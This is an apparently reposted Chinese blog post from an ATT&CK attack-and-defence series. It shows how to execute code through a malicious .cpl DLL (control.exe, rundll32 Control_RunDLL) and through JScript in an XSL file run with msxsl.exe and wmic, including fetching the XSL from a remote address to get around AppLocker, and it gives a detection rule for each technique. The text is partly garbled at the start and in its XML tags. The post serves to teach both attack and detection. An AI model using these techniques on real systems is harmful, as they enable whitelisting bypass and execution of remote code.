ATT&CK攻防初窥系列--执行篇(一)

访客 416 0
本文来源:joyjoy

如果要评选网络安全界近年热词排行的话,那么ATTwindows.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
WinExec("cmd.exe /c calc", SW_SHOW);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

这里我们用了点取巧的办法,直接将代码写在了attach里面,将上述代码编译为dll文件CPIApplet.dll(可以随意命名),然后将CPIApplet.dll重命名为CPIApplet.cpl

技术复现

control.exe c:\users\W10PC1\desktop\CPIApplet.cpl   //这里cpl一定要采用绝对路径否则失败

ATT&CK攻防初窥系列--执行篇(一)-第1张图片-网盾网络安全培训

技术复现(双击)

ATT&CK攻防初窥系列--执行篇(一)-第2张图片-网盾网络安全培训

技术复现(使用导出函数Control_RunDLL)

rundll32.exe shell32.dll,Control_RunDLL c:\users\W10PC1\desktop\CPIApplet.cpl

威胁检测

数据源:API监视,二进制文件元数据,DLL监视,Windows注册表,Windows事件日志,进程命令行参数,进程监视

进程特征:(级别:高)

# 无论是通过control.exe执行、还是双击,最后都会通过rundll32调用shell32的导出函数Control_RunDLL来运行payload
Image contains 'rundll32.exe' AND CommandLine contains 'Shell32.dll' AND CommandLine contains 'Control_RunDLL' AND CommandLine regex '^.*\.cpl$'

ATT&CK攻防初窥系列--执行篇(一)-第3张图片-网盾网络安全培训

进程特征:(级别:仅审计)

# 执行的payload文件后缀名不一定是cpl,可以是任意后缀,为了防止被绕过检测。需要记录其他相关调用Control_RunDLL API的行为
Image contains 'rundll32.exe' AND CommandLine contains 'Shell32.dll' AND CommandLine contains 'Control_RunDLL'

ATT&CK攻防初窥系列--执行篇(一)-第4张图片-网盾网络安全培训

T1220 XSL Script Processing

XSL 指扩展样式表语言(EXtensible Stylesheet Language)。万维网联盟 (W3C) 开始发展 XSL 的原因是:存在着对于基于 XML 的样式表语言的需求。在红蓝对抗中,使用XSL文件执行恶意代码有时可以帮助我们绕过APPLocker。下面介绍两种利用手段。

命令执行

技术复现(MSXSL.EXE)

msxsl.exe是微软用于命令行下处理XSL的一个程序,通过它我们可以执行XSL内的JavaScript进而执行系统命令。下载地址:https://www.microsoft.com/en-us/download/confirmation.aspx?id=21714。msxsl命令行接收形为 msxsl.exe {xmlfile} {xslfile} 的参数。由于XSL算是一种特殊的XML,我们可以使用msxsl.exe {xslfile} {xslfile}调用xsl文件内的命令。

Ail.xsl

?xml version='1.0'?>
xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="https://www.dbappsecurity.com.cn">
 
msxsl:script language="JScript" implements-prefix="user">
   function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
   return nodelist.nextNode().xml;
 
   }
/msxsl:script>
xsl:template match="/">
   xsl:value-of select="user:xml(.)"/>
/xsl:template>
/xsl:stylesheet>

本地执行

msxsl.exe Ail.xsl Ail.xsl

ATT&CK攻防初窥系列--执行篇(一)-第5张图片-网盾网络安全培训

远程执行

msxsl.exe http://xxx.xxx.xxx.xxx/Ail.xsl http://xxx.xxx.xxx.xxx/Ail.xsl

ATT&CK攻防初窥系列--执行篇(一)-第6张图片-网盾网络安全培训

技术复现(WMIC.EXE)

wmic可以通过形如:wmic.exe {wmiccommand} /FORMAT:{xslfile}的方式执行xsl内的恶意代码。{wmic command内可以填写任意的wmic可执行的命令}

本地执行

wmic process get name /format:Ail.xsl

ATT&CK攻防初窥系列--执行篇(一)-第7张图片-网盾网络安全培训

远程执行

wmic process get name /format:"http://xxx.xxx.xxx.xxx/Ail.xsl"      //这里的format后的网址一定要加上双引号不然会报错

ATT&CK攻防初窥系列--执行篇(一)-第8张图片-网盾网络安全培训

威胁检测

数据源:进程监视,进程命令行参数,网络的进程使用,DLL监视

MSXSL.EXE

进程特征:(级别:高)

#当MSXSL.EXE作为父进程创建其他进程时视为可疑
ParentImage regex '^.*msxsl\.exe$'

ATT&CK攻防初窥系列--执行篇(一)-第9张图片-网盾网络安全培训

加载项特征:(级别:高)

#当MSXSL.EXE加载jscript.dll时视为可疑
Image regex '^.*msxsl\.exe$' AND ImageLoaded contains 'jscript.dll'

ATT&CK攻防初窥系列--执行篇(一)-第10张图片-网盾网络安全培训

WMIC.EXE

加载项特征:(级别:高)

#当WMIC.EXE加载jscript.dll视为可疑
Image regex '^.*wmic\.exe$' AND ImageLoaded contains 'jscript.dll'

ATT&CK攻防初窥系列--执行篇(一)-第11张图片-网盾网络安全培训

 

标签: 安全攻防 分析 红蓝对抗 网络安全 ATT& ampamp amp CK

发表评论 (已有0条评论)

还木有评论哦,快来抢沙发吧~